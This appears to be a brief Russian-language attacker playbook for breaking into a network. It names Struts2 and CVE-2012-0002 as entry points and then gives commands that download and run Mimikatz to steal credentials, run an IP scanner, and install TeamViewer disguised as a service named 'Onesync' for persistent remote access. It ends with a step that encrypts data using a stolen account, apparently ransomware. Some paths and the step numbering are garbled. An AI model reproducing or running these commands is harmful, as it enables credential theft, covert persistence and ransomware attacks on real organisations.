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Прощупываем инфраструктуру на наличие уязвимостей, Struts2 (scr ESMC), CVE-2012-0002 (scr ESMC)
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1. Нашли уязвимость, попали на терминальник TS03 



wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-
20190512/mimikatz_trunk.zip -O C:\Users\admin\Desktop\mimi.zip



Expand-Archive c:\Users\admin\desktop\mimi.zip -DestinationPath %TEMP%



C:\Windows\System32\%TEMP%\x64\mimikatz.exe





wget
https://dw68.uptodown.com/dwn/xevid7y9_MiptTKyk4HlyOS342HI2tpLl16Z149r1Kzud5Hc3FgbdBj1v
P_9o7R35PudfFiWaGabvO0kCkRb0WHoIu4KAMhxDsu6EQiwrflqsLH7ZMjvmG_M0lpOQSAB/APUrajgQ
75nT4_0DVuW0X21BkQyj0CyE0NTFLxhjet9W7Ds78XTTsxvj8FK0rwN85Iboq_9waLhWb5i0i08qcBEp9n
0NXTiirZ15uly-
_TXKw7mFAjrcGug_dBE7Acq3/lIDHkL254hPIh9kDvwhGUwxuCm6oKfNI2p15OLTcsG_m8_BvAVijstxgtI
YHU4jN94sVc57hn49ofTdju0RPph3ZdymyWBV0oa9KpQFU8Cc=/angry-ip-scanner-3-5-1.exe -O 
C:\Users\admin\Desktop\scan.exe



C:\Users\admin\Desktop\scan.exe









wget https://dl.tvcdn.de/download/version_12x/TeamViewerQS-idcsyvjrvc.exe -O 
%TEMP%\serviceonesync.exe



New-Service -Name "Onesync_BD3_wew2" -BinaryPathName
C:\Windows\System\serviceonesync.exe











1. Шифрование при помощи учетки из п.6
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1. Шифрование при помощи учетки из п.6





Спасибо за внимание!


